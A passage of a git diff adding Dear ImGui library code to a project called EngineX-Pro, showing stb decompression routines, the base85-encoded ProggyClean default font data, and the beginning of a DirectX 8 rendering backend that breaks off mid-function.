ImGui::GetColorU32(ImAlphaBlendColors(IM_COL32(204, 204, 204, 255), col)); + ImU32 col_bg2 = ImGui::GetColorU32(ImAlphaBlendColors(IM_COL32(128, 128, 128, 255), col)); + draw_list->AddRectFilled(p_min, p_max, col_bg1, rounding, rounding_corners_flags); + + int yi = 0; + for (float y = p_min.y + grid_off.y; y < p_max.y; y += grid_step, yi++) + { + float y1 = ImClamp(y, p_min.y, p_max.y), y2 = ImMin(y + grid_step, p_max.y); + if (y2 <= y1) + continue; + for (float x = p_min.x + grid_off.x + (yi & 1) * grid_step; x < p_max.x; x += grid_step * 2.0f) + { + float x1 = ImClamp(x, p_min.x, p_max.x), x2 = ImMin(x + grid_step, p_max.x); + if (x2 <= x1) + continue; + int rounding_corners_flags_cell = 0; + if (y1 <= p_min.y) { if (x1 <= p_min.x) rounding_corners_flags_cell |= ImDrawCornerFlags_TopLeft; if (x2 >= p_max.x) rounding_corners_flags_cell |= ImDrawCornerFlags_TopRight; } + if (y2 >= p_max.y) { if (x1 <= p_min.x) rounding_corners_flags_cell |= ImDrawCornerFlags_BotLeft; if (x2 >= p_max.x) rounding_corners_flags_cell |= ImDrawCornerFlags_BotRight; } + rounding_corners_flags_cell &= rounding_corners_flags; + draw_list->AddRectFilled(ImVec2(x1, y1), ImVec2(x2, y2), col_bg2, rounding_corners_flags_cell ? rounding : 0.0f, rounding_corners_flags_cell); + } + } + } + else + { + draw_list->AddRectFilled(p_min, p_max, col, rounding, rounding_corners_flags); + } +} + +//----------------------------------------------------------------------------- +// [SECTION] Decompression code +//----------------------------------------------------------------------------- +// Compressed with stb_compress() then converted to a C array and encoded as base85. +// Use the program in misc/fonts/binary_to_compressed_c.cpp to create the array from a TTF file. +// The purpose of encoding as base85 instead of "0x00,0x01,..." style is only save on _source code_ size. +// Decompression from stb.h (public domain) by Sean Barrett https://github.com/nothings/stb/blob/master/stb.h +//----------------------------------------------------------------------------- + +static unsigned int stb_decompress_length(const unsigned char *input) +{ + return (input[8] << 24) + (input[9] << 16) + (input[10] << 8) + input[11]; +} + +static unsigned char *stb__barrier_out_e, *stb__barrier_out_b; +static const unsigned char *stb__barrier_in_b; +static unsigned char *stb__dout; +static void stb__match(const unsigned char *data, unsigned int length) +{ + // INVERSE of memmove... write each byte before copying the next... + IM_ASSERT(stb__dout + length <= stb__barrier_out_e); + if (stb__dout + length > stb__barrier_out_e) { stb__dout += length; return; } + if (data < stb__barrier_out_b) { stb__dout = stb__barrier_out_e+1; return; } + while (length--) *stb__dout++ = *data++; +} + +static void stb__lit(const unsigned char *data, unsigned int length) +{ + IM_ASSERT(stb__dout + length <= stb__barrier_out_e); + if (stb__dout + length > stb__barrier_out_e) { stb__dout += length; return; } + if (data < stb__barrier_in_b) { stb__dout = stb__barrier_out_e+1; return; } + memcpy(stb__dout, data, length); + stb__dout += length; +} + +#define stb__in2(x) ((i[x] << 8) + i[(x)+1]) +#define stb__in3(x) ((i[x] << 16) + stb__in2((x)+1)) +#define stb__in4(x) ((i[x] << 24) + stb__in3((x)+1)) + +static const unsigned char *stb_decompress_token(const unsigned char *i) +{ + if (*i >= 0x20) { // use fewer if's for cases that expand small + if (*i >= 0x80) stb__match(stb__dout-i[1]-1, i[0] - 0x80 + 1), i += 2; + else if (*i >= 0x40) stb__match(stb__dout-(stb__in2(0) - 0x4000 + 1), i[2]+1), i += 3; + else /* *i >= 0x20 */ stb__lit(i+1, i[0] - 0x20 + 1), i += 1 + (i[0] - 0x20 + 1); + } else { // more ifs for cases that expand large, since overhead is amortized + if (*i >= 0x18) stb__match(stb__dout-(stb__in3(0) - 0x180000 + 1), i[3]+1), i += 4; + else if (*i >= 0x10) stb__match(stb__dout-(stb__in3(0) - 0x100000 + 1), stb__in2(3)+1), i += 5; + else if (*i >= 0x08) stb__lit(i+2, stb__in2(0) - 0x0800 + 1), i += 2 + (stb__in2(0) - 0x0800 + 1); + else if (*i == 0x07) stb__lit(i+3, stb__in2(1) + 1), i += 3 + (stb__in2(1) + 1); + else if (*i == 0x06) stb__match(stb__dout-(stb__in3(1)+1), i[4]+1), i += 5; + else if (*i == 0x04) stb__match(stb__dout-(stb__in3(1)+1), stb__in2(4)+1), i += 6; + } + return i; +} + +static unsigned int stb_adler32(unsigned int adler32, unsigned char *buffer, unsigned int buflen) +{ + const unsigned long ADLER_MOD = 65521; + unsigned long s1 = adler32 & 0xffff, s2 = adler32 >> 16; + unsigned long blocklen = buflen % 5552; + + unsigned long i; + while (buflen) { + for (i=0; i + 7 < blocklen; i += 8) { + s1 += buffer[0], s2 += s1; + s1 += buffer[1], s2 += s1; + s1 += buffer[2], s2 += s1; + s1 += buffer[3], s2 += s1; + s1 += buffer[4], s2 += s1; + s1 += buffer[5], s2 += s1; + s1 += buffer[6], s2 += s1; + s1 += buffer[7], s2 += s1; + + buffer += 8; + } + + for (; i < blocklen; ++i) + s1 += *buffer++, s2 += s1; + + s1 %= ADLER_MOD, s2 %= ADLER_MOD; + buflen -= blocklen; + blocklen = 5552; + } + return (unsigned int)(s2 << 16) + (unsigned int)s1; +} + +static unsigned int stb_decompress(unsigned char *output, const unsigned char *i, unsigned int /*length*/) +{ + if (stb__in4(0) != 0x57bC0000) return 0; + if (stb__in4(4) != 0) return 0; // error! stream is > 4GB + const unsigned int olen = stb_decompress_length(i); + stb__barrier_in_b = i; + stb__barrier_out_e = output + olen; + stb__barrier_out_b = output; + i += 16; + + stb__dout = output; + for (;;) { + const unsigned char *old_i = i; + i = stb_decompress_token(i); + if (i == old_i) { + if (*i == 0x05 && i[1] == 0xfa) { + IM_ASSERT(stb__dout == output + olen); + if (stb__dout != output + olen) return 0; + if (stb_adler32(1, output, olen) != (unsigned int) stb__in4(2)) + return 0; + return olen; + } else { + IM_ASSERT(0); /* NOTREACHED */ + return 0; + } + } + IM_ASSERT(stb__dout <= output + olen); + if (stb__dout > output + olen) + return 0; + } +} + +//----------------------------------------------------------------------------- +// [SECTION] Default font data (ProggyClean.ttf) +//----------------------------------------------------------------------------- +// ProggyClean.ttf +// Copyright (c) 2004, 2005 Tristan Grimmer +// MIT license (see License.txt in http://www.upperbounds.net/download/ProggyClean.ttf.zip) +// Download and more information at http://upperbounds.net +//----------------------------------------------------------------------------- +// File: 'ProggyClean.ttf' (41208 bytes) +// Exported using misc/fonts/binary_to_compressed_c.cpp (with compression + base85 string encoding). +// The purpose of encoding as base85 instead of "0x00,0x01,..." style is only save on _source code_ size. +//----------------------------------------------------------------------------- +static const char proggy_clean_ttf_compressed_data_base85[11980 + 1] = + "7])#######hV0qs'/###[),##/l:$#Q6>##5[n42>c-TH`->>#/e>11NNV=Bv(*:.F?uu#(gRU.o0XGH`$vhLG1hxt9?W`#,5LsCp#-i>.r$<$6pD>Lb';9Crc6tgXmKVeU2cD4Eo3R/" + "2*>]b(MC;$jPfY.;h^`IWM9Qo#t'X#(v#Y9w0#1D$CIf;W'#pWUPXOuxXuU(H9M(1=Ke$$'5F%)]0^#0X@U.a$FBjVQTSDgEKnIS7EM9>ZY9w0#L;>>#Mx&4Mvt//L[MkA#W@lK.N'[0#7RL_&#w+F%HtG9M#XL`N&.,GM4Pg;--VsM.M0rJfLH2eTM`*oJMHRC`N" + "kfimM2J,W-jXS:)r0wK#@Fge$U>`w'N7G#$#fB#$E^$#:9:hk+eOe--6x)F7*E%?76%^GMHePW-Z5l'&GiF#$956:rS?dA#fiK:)Yr+`�j@'DbG&#^$PG.Ll+DNa&VZ>1i%h1S9u5o@YaaW$e+bROPOpxTO7Stwi1::iB1q)C_=dV26J;2,]7op$]uQr@_V7$q^%lQwtuHY]=DX,n3L#0PHDO4f9>dC@O>HBuKPpP*E,N+b3L#lpR/MrTEH.IAQk.a>D[.e;mc." + "x]Ip.PH^'/aqUO/$1WxLoW0[iLAw=4h(9.`G" + "CRUxHPeR`5Mjol(dUWxZa(>STrPkrJiWx`5U7F#.g*jrohGg`cg:lSTvEY/EV_7H4Q9[Z%cnv;JQYZ5q.l7Zeas:HOIZOB?Ggv:[7MI2k).'2($5FNP&EQ(,)" + "U]W]+fh18.vsai00);D3@4ku5P?DP8aJt+;qUM]=+b'8@;mViBKx0DE[-auGl8:PJ&Dj+M6OC]O^((##]`0i)drT;-7X`=-H3[igUnPG-NZlo.#k@h#=Ork$m>a>$-?Tm$UV(?#P6YY#" + "'/###xe7q.73rI3*pP/$1>s9)W,JrM7SN]'/4C#v$U`0#V.[0>xQsH$fEmPMgY2u7Kh(G%siIfLSoS+MK2eTM$=5,M8p`A.;_R%#u[K#$x4AG8.kK/HSB==-'Ie/QTtG?-.*^N-4B/ZM" + "_3YlQC7(p7q)&](`6_c)$/*JL(L-^(]$wIM`dPtOdGA,U3:w2M-0+WomX2u7lqM2iEumMTcsF?-aT=Z-97UEnXglEn1K-bnEO`gu" + "Ft(c%=;Am_Qs@jLooI&NX;]0#j4#F14;gl8-GQpgwhrq8'=l_f-b49'UOqkLu7-##oDY2L(te+Mch&gLYtJ,MEtJfLh'x'M=$CS-ZZ%P]8bZ>#S?YY#%Q&q'3^Fw&?D)UDNrocM3A76/" + "/oL?#h7gl85[qW/NDOk%16ij;+:1a'iNIdb-ou8.P*w,v5#EI$TWS>Pot-R*H'-SEpA:g)f+O$%%`kA#G=8RMmG1&O`>to8bC]T&$,n.LoO>29sp3dt-52U%VM#q7'DHpg+#Z9%H[Ket`e;)f#Km8&+DC$I46>#Kr]]u-[=99tts1.qb#q72g1WJO81q+eN'03'eM>&1XxY-caEnO" + "j%2n8)),?ILR5^.Ibn<-X-Mq7[a82Lq:F&#ce+S9wsCK*x`569E8ew'He]h:sI[2LM$[guka3ZRd6:t%IG:;$%YiJ:Nq=?eAw;/:nnDq0(CYcMpG)qLN4$##&J-XTt,%OVU4)S1+R-#dg0/Nn?Ku1^0f$B*P:Rowwm-`0PKjYDDM'3]d39VZHEl4,.j']Pk-M.h^&:0FACm$maq-&sgw0t7/6(^xtk%" + "LuH88Fj-ekm>GA#_>568x6(OFRl-IZp`&b,_P'$MhLbxfc$mj`,O;&%W2m`Zh:/)Uetw:aJ%]K9h:TcF]u_-Sj9,VK3M.*'&0D[Ca]J9gp8,kAW]" + "%(?A%R$f<->Zts'^kn=-^@c4%-pY6qI%J%1IGxfLU9CP8cbPlXv);C=b),<2mOvP8up,UVf3839acAWAW-W?#ao/^#%KYo8fRULNd2.>%m]UK:n%r$'sw]J;5pAoO_#2mO3n,'=H5(et" + "Hg*`+RLgv>=4U8guD$I%D:W>-r5V*%j*W:Kvej.Lp$'?;++O'>()jLR-^u68PHm8ZFWe+ej8h:9r6L*0//c&iH&R8pRbA#Kjm%upV1g:" + "a_#Ur7FuA#(tRh#.Y5K+@?3<-8m0$PEn;J:rh6?I6uG<-`wMU'ircp0LaE_OtlMb&1#6T.#FDKu#1Lw%u%+GM+X'e?YLfjM[VO0MbuFp7;>Q&#WIo)0@F%q7c#4XAXN-U&VBpqB>0ie&jhZ[?iLR@@_AvA-iQC(=ksRZRVp7`.=+NpBC%rh&3]R:8XDmE5^V8O(x<-+k?'(^](H.aREZSi,#1:[IXaZFOm<-ui#qUq2$##Ri;u75OK#(RtaW-K-F`S+cF]uN`-KMQ%rP/Xri.LRcB##=YL3BgM/3M" + "D?@f&1'BW-)Ju#bmmWCMkk&#TR`C,5d>g)F;t,4:@_l8G/5h4vUd%&%950:VXD'QdWoY-F$BtUwmfe$YqL'8(PWX(" + "P?^@Po3$##`MSs?DWBZ/S>+4%>fX,VWv/w'KD`LP5IbH;rTV>n3cEK8U#bX]l-/V+^lj3;vlMb&[5YQ8#pekX9JP3XUC72L,,?+Ni&co7ApnO*5NK,((W-i:$,kp'UDAO(G0Sq7MVjJs" + "bIu)'Z,*[>br5fX^:FPAWr-m2KgLQ_nN6'8uTGT5g)uLv:873UpTLgH+#FgpH'_o1780Ph8KmxQJ8#H72L4@768@Tm&Q" + "h4CB/5OvmA&,Q&QbUoi$a_%3M01H)4x7I^&KQVgtFnV+;[Pc>[m4k//,]1?#`VY[Jr*3&&slRfLiVZJ:]?=K3Sw=[$=uRB?3xk48@aege0jT6'N#(q%.O=?2S]u*(m<-" + "V8J'(1)G][68hW$5'q[GC&5j`TE?m'esFGNRM)j,ffZ?-qx8;->g4t*:CIP/[Qap7/9'#(1sao7w-.qNUdkJ)tCF&#B^;xGvn2r9FEPFFFcL@.iFNkTve$m%#QvQS8U@)2Z+3K:AKM5i" + "sZ88+dKQ)W6>J%CL`.d*(B`-n8D9oK-XV1q['-5k'cAZ69e;D_?$ZPP&s^+7])$*$#@QYi9,5P r+$%CE=68>K8r0=dSC%%(@p7" + ".m7jilQ02'0-VWAgTlGW'b)Tq7VT9q^*^$$.:&N@@" + "$&)WHtPm*5_rO0&e%K&#-30j(E4#'Zb.o/(Tpm$>K'f@[PvFl,hfINTNU6u'0pao7%XUp9]5.>%h`8_=VYbxuel.NTSsJfLacFu3B'lQSu/m6-Oqem8T+oE--$0a/k]uj9EwsG>%veR*" + "hv^BFpQj:K'#SJ,sB-'#](j.Lg92rTw-*n%@/;39rrJF,l#qV%OrtBeC6/,;qB3ebNW[?,Hqj2L.1NP&GjUR=1D8QaS3Up&@*9wP?+lo7b?@%'k4`p0Z$22%K3+iCZj?XJN4Nm&+YF]u" + "@-W$U%VEQ/,,>>#)D#%8cY#YZ?=,`Wdxu/ae&#" + "w6)R89tI#6@s'(6Bf7a&?S=^ZI_kS&ai`&=tE72L_D,;^R)7[$so8lKN%5/$(vdfq7+ebA#" + "u1p]ovUKW&Y%q]'>$1@-[xfn$7ZTp7mM,G,Ko7a&Gu%G[RMxJs[0MM%wci.LFDK)(%:_i2B5CsR8&9Z&#=mPEnm0f`<&c)QL5uJ#%u%lJj+D-r;BoFDoS97h5g)E#o:&S4weDF,9^Hoe`h*L+_a*NrLW-1pG_&2UdB8" + "6e%B/:=>)N4xeW.*wft-;$'58-ESqr#U`'6AQ]m&6/`Z>#S?YY#Vc;r7U2&326d=w&H####?TZ`*4?&.MK?LP8Vxg>$[QXc%QJv92.(Db*B)gb*BM9dM*hJMAo*c&#" + "b0v=Pjer]$gG&JXDf->'StvU7505l9$AFvgYRI^&<^b68?j#q9QX4SM'RO#&sL1IM.rJfLUAj221]d##DW=m83u5;'bYx,*Sl0hL(W;;$doB&O/TQ:(Z^xBdLjLV#*8U_72Lh+2Q8Cj0i:6hp&$C/:p(HK>T8Y[gHQ4`4)'$Ab(Nof%V'8hL&#SfD07&6D@M.*J:;$-rv29'M]8qMv-tLp,'886iaC=Hb*YJoKJ,(j%K=H`K.v9HggqBIiZu'QvBT.#=)0ukruV&.)3=(^1`o*Pj4<-#MJ+gLq9-##@HuZPN0]u:h7.T..G:;$/Usj(T7`Q8tT72LnYl<-qx8;-HV7Q-&Xdx%1a,hC=0u+HlsV>nuIQL-5" + "_>@kXQtMacfD.m-VAb8;IReM3$wf0''hra*so568'Ip&vRs849'MRYSp%:t:h5qSgwpEr$B>Q,;s(C#$)`svQuF$##-D,##,g68@2[T;.XSdN9Qe)rpt._K-#5wF)sP'##p#C0c%-Gb%" + "hd+<-j'Ai*x&&HMkT]C'OSl##5RG[JXaHN;d'uA#x._U;.`PU@(Z3dt4r152@:v,'R.Sj'w#0<-;kPI)FfJ&#AYJ&#//)>-k=m=*XnK$>=)72L]0I%>.G690a:$##<,);?;72#?x9+d;" + "^V'9;jY@;)br#q^YQpx:X#Te$Z^'=-=bGhLf:D6&bNwZ9-ZD#n^9HhLMr5G;']d&6'wYmTFmLq9wI>P(9mI[>kC-ekLC/R&CH+s'B;K-M6$EB%is00:" + "+A4[7xks.LrNk0&E)wILYF@2L'0Nb$+pv<(2.768/FrY&h$^3i&@+G%JT'<-,v`3;_)I9M^AE]CN?Cl2AZg+%4iTpT3$U4O]GKx'm9)b@p7YsvK3w^YR-" + "CdQ*:Ir<($u&)#(&?L9Rg3H)4fiEp^iI9O8KnTj,]H?D*r7'M;PwZ9K0E^k&-cpI;.p/6_vwoFMV<->#%Xi.LxVnrU(4&8/P+:hLSKj$#U%]49t'I:rgMi'FL@a:0Y-uA[39',(vbma*" + "hU%<-SRF`Tt:542R_VV$p@[p8DV[A,?1839FWdFTi1O*H&#(AL8[_P%.M>v^-))qOT*F5Cq0`Ye%+$B6i:7@0IXSsDiWP,##P`%/L-" + "S(qw%sf/@%#B6;/U7K]uZbi^Oc^2n%t<)'mEVE''n`WnJra$^TKvX5B>;_aSEK',(hwa0:i4G?.Bci.(X[?b*($,=-n<.Q%`(X=?+@Am*Js0&=3bh8K]mL69=Lb,OcZV/);TTm8VI;?%OtJ<(b4mq7M6:u?KRdFl*:xP?Yb.5)%w_I?7uk5JC+FS(m#i'k.'a0i)9<7b'fs'59hq$*5Uhv##pi^8+hIEBF`nvo`;'l0.^S1<-wUK2/Coh58KKhLj" + "M=SO*rfO`+qC`W-On.=AJ56>>i2@2LH6A:&5q`?9I3@@'04&p2/LVa*T-4<-i3;M9UvZd+N7>b*eIwg:CC)c<>nO&#$(>.Z-I&J(Q0Hd5Q%7Co-b`-cP)hI;*_F]u`Rb[.j8_Q/<&>uu+VsH$sM9TA%?)(vmJ80),P7E>)tjD%2L=-t#fK[%`v=Q8WlA2);Sa" + ">gXm8YB`1d@K#n]76-a$U,mF%Ul:#/'xoFM9QX-$.QN'>" + "[%$Z$uF6pA6Ki2O5:8w*vP1<-1`[G,)-m#>0`P&#eb#.3i)rtB61(o'$?X3B2Qft^ae_5tKL9MUe9b*sLEQ95C&`=G?@Mj=wh*'3E>=-<)Gt*Iw)'QG:`@I" + "wOf7&]1i'S01B+Ev/Nac#9S;=;YQpg_6U`*kVY39xK,[/6Aj7:'1Bm-_1EYfa1+o&o4hp7KN_Q(OlIo@S%;jVdn0'1h19w,WQhLI)3S#f$2(eb,jr*b;3Vw]*7NH%$c4Vs,eD9>XW8?N]o+(*pgC%/72LV-uW%iewS8W6m2rtCpo'RS1R84=@paTKt)>=%&1[)*vp'u+x,VrwN;&]kuO9JDbg=pO$J*.jVe;u'm0dr9l,<*wMK*Oe=g8lV_KEBFkO'oU]^=[-792#ok,)" + "i]lR8qQ2oA8wcRCZ^7w/Njh;?.stX?Q1>S1q4Bn$)K1<-rGdO'$Wr.Lc.CG)$/*JL4tNR/,SVO3,aUw'DJN:)Ss;wGn9A32ijw%FL+Z0Fn.U9;reSq)bmI32U==5ALuG&#Vf1398/pVo" + "1*c-(aY168o<`JsSbk-,1N;$>0:OUas(3:8Z972LSfF8eb=c-;>SPw7.6hn3m`9^Xkn(r.qS[0;T%&Qc=+STRxX'q1BNk3&*eu2;&8q$&x>Q#Q7^Tf+6<(d%ZVmj2bDi%.3L2n+4W'$P" + "iDDG)g,r%+?,$@?uou5tSe2aN_AQU*'IAO" + "URQ##V^Fv-XFbGM7Fl(N<3DhLGF%q.1rC$#:T__&Pi68%0xi_&[qFJ(77j_&JWoF.V735&T,[R*:xFR*K5>>#`bW-?4Ne_&6Ne_&6Ne_&n`kr-#GJcM6X;uM6X;uM(.a..^2TkL%oR(#" + ";u.T%fAr%4tJ8&><1=GHZ_+m9/#H1F^R#SC#*N=BA9(D?v[UiFY>>^8p,KKF.W]L29uLkLlu/+4T" + "w$)F./^n3+rlo+DB;5sIYGNk+i1t-69Jg--0pao7Sm#K)pdHW&;LuDNH@H>#/X-TI(;P>#,Gc>#0Su>#4`1?#8lC?#xL$#B.`$#F:r$#JF.%#NR@%#R_R%#Vke%#Zww%#_-4^Rh%Sflr-k'MS.o?.5/sWel/wpEM0%3'/1)K^f1-d>G21&v(35>V`39V7A4=onx4" + "A1OY5EI0;6Ibgr6M$HS7Q<)58C5w,;WoA*#[%T*#`1g*#d=#+#hI5+#lUG+#pbY+#tnl+#x$),#&1;,#*=M,#.I`,#2Ur,#6b.-#;w[H#iQtA#m^0B#qjBB#uvTB##-hB#'9$C#+E6C#" + "/QHC#3^ZC#7jmC#;v)D#?,)4kMYD4lVu`4m`:&5niUA5@(A5BA1]PBB:xlBCC=2CDLXMCEUtiCf&0g2'tN?PGT4CPGT4CPGT4CPGT4CPGT4CPGT4CPGT4CP" + "GT4CPGT4CPGT4CPGT4CPGT4CPGT4CP-qekC`.9kEg^+F$kwViFJTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5o,^<-28ZI'O?;xp" + "O?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xp;7q-#lLYI:xvD=#"; + +static const char* GetDefaultCompressedFontDataTTFBase85() +{ + return proggy_clean_ttf_compressed_data_base85; +} + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui_impl_dx8.cpp b/EngineX-Pro/ImGui/imgui_impl_dx8.cpp new file mode 100644 index 0000000..d858316 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_dx8.cpp @@ -0,0 +1,434 @@ +// dear imgui: Renderer for DirectX9 +// This needs to be used along with a Platform Binding (e.g. Win32) + +// Implemented features: +// [X] Renderer: User texture binding. Use 'LPDIRECT3DTEXTURE9' as ImTextureID. Read the FAQ about ImTextureID! +// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices. + +// You can copy and use unmodified imgui_impl_* files in your project. See main.cpp for an example of using this. +// If you are new to dear imgui, read examples/README.txt and read the documentation at the top of imgui.cpp. +// https://github.com/ocornut/imgui + +// CHANGELOG +// (minor and older changes stripped away, please see git history for details) +// 2019-05-29: DirectX9: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag. +// 2019-04-30: DirectX9: Added support for special ImDrawCallback_ResetRenderState callback to reset render state. +// 2019-03-29: Misc: Fixed erroneous assert in ImGui_ImplDX8_InvalidateDeviceObjects(). +// 2019-01-16: Misc: Disabled fog before drawing UI's. Fixes issue #2288. +// 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window. +// 2018-06-08: Misc: Extracted imgui_impl_DX8.cpp/.h away from the old combined DX8+Win32 example. +// 2018-06-08: DirectX9: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle. +// 2018-05-07: Render: Saving/restoring Transform because they don't seem to be included in the StateBlock. Setting shading mode to Gouraud. +// 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn callback and exposed ImGui_ImplDX8_RenderDrawData() in the .h file so you can call it yourself. +// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. + +#include "imgui.h" +#include "imgui_impl_dx8.h" + +// DirectX +#include +#define DIRECTINPUT_VERSION 0x0800 +#include + +// DirectX data +static LPDIRECT3DDEVICE8 g_pd3dDevice = NULL; +static LPDIRECT3DVERTEXBUFFER8 g_pVB = NULL; +static LPDIRECT3DINDEXBUFFER8 g_pIB = NULL; +static LPDIRECT3DVERTEXBUFFER8 g_maskVB = NULL; +static LPDIRECT3DINDEXBUFFER8 g_maskIB = NULL; +static LPDIRECT3DTEXTURE8 g_FontTexture = NULL; +static int g_VertexBufferSize = 5000, g_IndexBufferSize = 10000; +static IDirect3DSurface8* g_DepthBuffer = nullptr; +IDirect3DSurface8* realDepthStencilBuffer; + +struct CUSTOMVERTEX +{ + float pos[3]; + D3DCOLOR col; + float uv[2]; +}; +#define D3DFVF_CUSTOMVERTEX (D3DFVF_XYZ|D3DFVF_DIFFUSE|D3DFVF_TEX1) + +static void ImGui_ImplDX8_SetupRenderState(ImDrawData* draw_data) +{ + // Setup viewport + D3DVIEWPORT8 vp; + vp.X = vp.Y = 0; + vp.Width = (DWORD)draw_data->DisplaySize.x; + vp.Height = (DWORD)draw_data->DisplaySize.y; + vp.MinZ = 0.0f; + vp.MaxZ = 1.0f; + g_pd3dDevice->SetViewport(&vp); + + // Setup render state: fixed-pipeline, alpha-blending, no face culling, no depth testing, shade mode (for gradient) + g_pd3dDevice->GetDepthStencilSurface(&realDepthStencilBuffer); + g_pd3dDevice->SetRenderTarget(nullptr, g_DepthBuffer); + g_pd3dDevice->SetPixelShader(NULL); + g_pd3dDevice->SetVertexShader(D3DFVF_CUSTOMVERTEX); + g_pd3dDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE); + g_pd3dDevice->SetRenderState(D3DRS_LIGHTING, false); + g_pd3dDevice->SetRenderState(D3DRS_ZENABLE, false); + g_pd3dDevice->SetRenderState(D3DRS_ALPHABLENDENABLE, true); + g_pd3dDevice->SetRenderState(D3DRS_ALPHATESTENABLE, false); + g_pd3dDevice->SetRenderState(D3DRS_BLENDOP, D3DBLENDOP_ADD); + g_pd3dDevice->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA); + g_pd3dDevice->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA); + //g_pd3dDevice->SetRenderState(D3DRS_SCISSORTESTENABLE, true); + g_pd3dDevice->SetRenderState(D3DRS_SHADEMODE, D3DSHADE_GOURAUD);//new + g_pd3dDevice->SetRenderState(D3DRS_FOGENABLE, false);//new + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLOROP, D3DTOP_MODULATE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG1, D3DTA_TEXTURE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_COLORARG2, D3DTA_DIFFUSE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAOP, D3DTOP_MODULATE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_ALPHAARG2, D3DTA_DIFFUSE); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_MINFILTER, D3DTEXF_LINEAR); + g_pd3dDevice->SetTextureStageState(0, D3DTSS_MAGFILTER, D3DTEXF_LINEAR); + //g_pd3dDevice->SetSamplerState(0, D3DSAMP_MINFILTER, D3DTEXF_LINEAR); + //g_pd3dDevice->SetSamplerState(0, D3DSAMP_MAGFILTER, D3DTEXF_LINEAR); + + // Setup orthographic projection matrix + // Our visible imgui space lies from draw_data->DisplayPos (top left) to draw_data->DisplayPos+data_data->DisplaySize (bottom right). DisplayPos is (0,0) for single viewport apps. + // Being agnostic of whether or can be used, we aren't relying on D3DXMatrixIdentity()/D3DXMatrixOrthoOffCenterLH() or DirectX::XMMatrixIdentity()/DirectX::XMMatrixOrthographicOffCenterLH() + { + float L = draw_data->DisplayPos.x + 0.5f; + float R = draw_data->DisplayPos.x + draw_data->DisplaySize.x + 0.5f; + float T = draw_data->DisplayPos.y + 0.5f; + float B = draw_data->DisplayPos.y + draw_data->DisplaySize.y + 0.5f;\ + D3DMATRIX mat_identity = { { { 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f } } }; + D3DMATRIX mat_projection = + { { { + 2.0f/(R-L), 0.0f, 0.0f, 0.0f, + 0.0f, 2.0f/(T-B), 0.0f, 0.0f, + 0.0f, 0.0f, 0.5f, 0.0f, + (L+R)/(L-R), (T+B)/(B-T), 0.5f, 1.0f + } } }; + g_pd3dDevice->SetTransform(D3DTS_WORLD, &mat_identity); + g_pd3dDevice->SetTransform(D3DTS_VIEW, &mat_identity); + g_pd3dDevice->SetTransform(D3DTS_PROJECTION, &mat_projection); + } +} + +static void build_mask_vbuffer(const RECT* rect) { + CUSTOMVERTEX* vtx_dst; + g_maskVB->Lock(0, (UINT)(6 * sizeof(CUSTOMVERTEX)), (BYTE**)&vtx_dst, 0); + vtx_dst[0].pos[0] = (float)rect->left; + vtx_dst[0].pos[1] = (float)rect->bottom; + vtx_dst[0].pos[2] = 0; + vtx_dst[1].pos[0] = (float)rect->left; + vtx_dst[1].pos[1] = (float)rect->top; + vtx_dst[1].pos[2] = 0; + vtx_dst[2].pos[0] = (float)rect->right; + vtx_dst[2].pos[1] = (float)rect->top; + vtx_dst[2].pos[2] = 0; + vtx_dst[3].pos[0] = (float)rect->left; + vtx_dst[3].pos[1] = (float)rect->bottom; + vtx_dst[3].pos[2] = 0; + vtx_dst[4].pos[0] = (float)rect->right; + vtx_dst[4].pos[1] = (float)rect->top; + vtx_dst[4].pos[2] = 0; + vtx_dst[5].pos[0] = (float)rect->right; + vtx_dst[5].pos[1] = (float)rect->bottom; + vtx_dst[5].pos[2] = 0; + vtx_dst[0].col = 0xFFFFFFFF; + vtx_dst[1].col = 0xFFFFFFFF; + vtx_dst[2].col = 0xFFFFFFFF; + vtx_dst[3].col = 0xFFFFFFFF; + vtx_dst[4].col = 0xFFFFFFFF; + vtx_dst[5].col = 0xFFFFFFFF; + vtx_dst[0].uv[0] = 0; + vtx_dst[0].uv[1] = 0; + vtx_dst[1].uv[0] = 0; + vtx_dst[1].uv[1] = 0; + vtx_dst[2].uv[0] = 0; + vtx_dst[2].uv[1] = 0; + vtx_dst[3].uv[0] = 0; + vtx_dst[3].uv[1] = 0; + vtx_dst[4].uv[0] = 0; + vtx_dst[4].uv[1] = 0; + vtx_dst[5].uv[0] = 0; + vtx_dst[5].uv[1] = 0; + g_maskVB->Unlock(); +} + +// Render function. +// (this used to be set in io.RenderDrawListsFn and called by ImGui::Render(), but you can now call this directly from your main loop) +void ImGui_ImplDX8_RenderDrawData(ImDrawData* draw_data) +{ + try + { + // Avoid rendering when minimized + if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f) + return; + + // Create and grow buffers if needed + if (!g_pVB || g_VertexBufferSize < draw_data->TotalVtxCount) + { + if (g_pVB) { g_pVB->Release(); g_pVB = NULL; } + g_VertexBufferSize = 